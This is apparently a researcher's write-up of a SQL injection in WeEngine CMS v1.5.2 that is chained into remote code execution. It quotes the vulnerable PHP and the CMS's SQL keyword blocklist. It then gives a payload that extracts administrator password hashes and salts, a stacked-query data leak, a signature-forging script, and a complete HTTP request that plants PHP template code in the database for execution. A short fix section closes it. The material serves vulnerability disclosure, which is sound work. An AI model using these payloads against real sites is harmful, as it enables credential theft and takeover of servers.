0x01 Preface
WeEngine CMS quietly fixed an SQL injection vulnerability in version 2.0:

No public analysis of this injection point appears to exist, so this article examines how to exploit it.
0x02 Affected Versions
Testing the official GitLee repository shows the issue in v1.5.2 contains the vulnerability. In 2.0 versionFixfixed the issue, so at least v1.5.2 appears affected.
0x03 SQL Injection Analysis
The injection analysis is straightforward; begin from the vulnerable code.api.php Two functions beginning around lines 530 and 564:
private function analyzeSubscribe(&$message) {
global $_W;
$params = array();
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
return $params;
}
}
$message['source'] = 'subscribe';
$setting = uni_setting($_W['uniacid'], array('welcome'));
if(!empty($setting['welcome'])) {
$message['content'] = $setting['welcome'];
$params += $this->analyzeText($message);
}
return $params;
}
private function analyzeQR(&$message) {
global $_W;
$params = array();
$params = $this->handler($message['type']);
if (!empty($params)) {
return $params;
}
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
}
if (empty($qr) && !empty($message['ticket'])) {
$message['source'] = 'qr';
$ticket = trim($message['ticket']);
if(!empty($ticket)) {
$qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");
if(!empty($qr)) {
if(count($qr) != 1) {
$qr = array();
} else {
$qr = $qr[0];
}
}
}
}
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
}
return $params;
}
inanalyzeSubscribeSQL in the function:
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
directly place$scene_conditionvariable is concatenated intopod_fetchfunction, while$scene_conditionvariable receives its value from$sceneid = trim($message['scene']);. It only trims whitespace from both ends of the string, so construct$message['scene']value to construct the SQL statement.
inanalyzeQRThe same applies in the function, so useanalyzeSubscribefunction as the example for constructing the PoC.
0x04 Constructing the SQL Injection
WeEngine attempts to prevent SQL injection with parameterized queries and keyword and character filters.
The filter blocks:
framework/class/db.class.php Line 700:
private static $disable = array(
'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),
'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),
'note' => array('/*', '*/', '#', '--'),
);
The following functions are blocked:
- load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user
The following keywords are blocked:
- @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date
The following comment characters are blocked:
/*、*/、--、#
This complicates payload construction.
First reconstruct the SQL in the function:
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and uniacid = $_W['uniacid'];
To retrieve the administrator credentials without blocked sensitive characters, use an exploit statement such as:
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];
My local MySQL version was unsuitable, so the complete construction is omitted.
Now consider another injection technique.
WeEngine issues SQL through PDO, which supports stacked queries.
Note that PDO can execute multiple SQL statements but returns only the first statement's result. The second statement must therefore update data that can be viewed through the page, allowing the injected data to be recovered.
Testing confirms that WeEngine allows user registration:

After signing in, the profile center shows:

The mailing address is a convenient display field, so the following statement can be executed.
update ims_users_profile set address=(select username from ims_users where uid =1 ) where uid=2;
in the statement2is the registered account's uid and can be found in the cookie:

One problem remains: before injecting, we must validate
api.php Line 181:
if(empty($this->account)) {
exit('Miss Account.');
}
if(!$this->account->checkSign()) {
exit('Check Sign Fail.');
}
Follow the callcheckSign():
public function checkSign() {
$arrParams = array(
$token = $this->account['token'],
$intTimeStamp = $_GET['timestamp'],
$strNonce = $_GET['nonce'],
);
sort($arrParams, SORT_STRING);
$strParam = implode($arrParams);
$strSignature = sha1($strParam);
return $strSignature == $_GET['signature'];
}
Three variables must be validated. Their generation rules are inapi.php At line 129,encryptfunction:
public function encrypt() {
global $_W;
if(empty($this->account)) {
exit('Miss Account.');
}
$timestamp = TIMESTAMP;
$nonce = random(5);
$token = $_W['account']['token'];
$signkey = array($token, TIMESTAMP, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
$_GET['timestamp'] = $timestamp;
$_GET['nonce'] = $nonce;
$_GET['signature'] = $signString;
$postStr = file_get_contents('php://input');
if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {
$data = $this->account->encryptMsg($postStr);
$array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
} else {
$data = array('', '');
$array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
}
exit(json_encode($array));
}
wheretimestampis a timestamp,nonceis a five-character random string,signatureis the SHA-1 hash of$signString, while$signStringis composed from token、timestamp、nonce. It is generated from hard-coded values, so useprint_r($_W)obtaintokenvalue, as follows:

The following code generates it:
<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
$strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
$result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);
return $result;
}
?>
This yields:
1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22
Then, based onOfficial documentationmessage format in

The final payload is:

The final value appears in the profile center:

This approach is cumbersome and of limited value: decryption is difficult, directly adding an account leaves many traces, and even after signing in, an attacker still needs a shell.
Is there a way to complete everything in one step?
0x05 From SQL Injection to RCE
/app/source/home/page.ctrl.phpfile:
$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);
if($do == 'getnum'){
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');
} elseif($do == 'addnum'){
if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
if(!empty($goodnum)){
$updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));
if(!empty($updatesql)) {
isetcookie('__havegood['.$id.']', $id, 86400*30*12);
message(error('0', ''), '', 'ajax');
}else {
message(error('1', ''), '', 'ajax');
}
}
}
} else {
$footer_off = true;
template_page($id);
}
First check$dotype. If it is notgetnumandaddnum, execution enterstemplate_pagefunction.
Follow the call/app/common/template.func.php Line 111:
function template_page($id, $flag = TEMPLATE_DISPLAY) {
global $_W;
$page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));
if (empty($page)) {
return error(1, 'Error: Page is not found');
}
if (empty($page['html'])) {
return '';
}
$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
$page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']);
$page['params'] = json_decode($page['params'], true);
$GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');
$GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;
$compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
$path = dirname($compile);
if (!is_dir($path)) {
load()->func('file');
mkdirs($path);
}
$content = template_parse($page['html']);
if (!empty($page['params'][0]['params']['bgColor'])) {
$content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';
}
$GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];
file_put_contents($compile, $content);
switch ($flag) {
case TEMPLATE_DISPLAY:
default:
extract($GLOBALS, EXTR_SKIP);
template('common/header');
include $compile;
template('common/footer');
break;
case TEMPLATE_FETCH:
extract($GLOBALS, EXTR_SKIP);
ob_clean();
ob_start();
include $compile;
$contents = ob_get_contents();
ob_clean();
return $contents;
break;
case TEMPLATE_INCLUDEPATH:
return $compile;
break;
}
}
First, according toidfromims_site_pagereads page information from the database table, filters sensitive data, and then usesfile_put_contentswrite into$compile, then inswitchis included ininclude $compile;。
We can therefore use SQL injection toims_site_pageinsert one-line webshell data into the table:
POST /wq/new/api.php?id=1×tamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440
<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>

For an example of the PHP template content, see:PHP statement
Then, according to the official documentation,Routing Overview:

then:

Code execution succeeds.
0x06 Fix
The chain begins with SQL injection. Once that is fixed, the subsequent file inclusion can no longer be exploited.
The official fix is:

was replaced with WeEngine's built-in parameterized query.
0x07 Closing Notes
This is an old vulnerability, so building the environment involved many pitfalls, but the flaw itself is easy to understand.
Finally, thanks to Xu for the guidance and for continuing to teach me over the weekend.
0x08 References
https://www.kancloud.cn/donknap/we7/134649
https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542
https://wiki.w7.cc/chapter/35?id=507
https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)